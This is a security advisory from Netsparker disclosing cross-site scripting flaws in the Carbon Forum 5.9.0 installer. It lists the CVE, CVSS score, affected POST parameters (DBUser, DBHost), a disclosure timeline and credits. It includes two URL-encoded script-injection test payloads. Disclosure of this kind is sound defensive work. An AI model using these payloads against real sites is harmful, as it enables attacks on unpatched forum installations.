Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in Carbon Forum
Affected Software: Carbon Forum
Affected Versions: 5.9.0
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: - 2018-14482
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (7.4)
Netsparker Advisory Reference: NS-18-020

Technical Details

URL  http://app.scan/ScanApp/Carbon-Forum-5.9.0/install/
Parameter Name  DBUser
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x01F8EE)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/Carbon-Forum-5.9.0/install/
Parameter Name  DBHost
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x01F88D)%3c%2fscRipt%3e

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

13th November 2017 - First Contact
12th January 2018 - Technical Details Reported
29th November 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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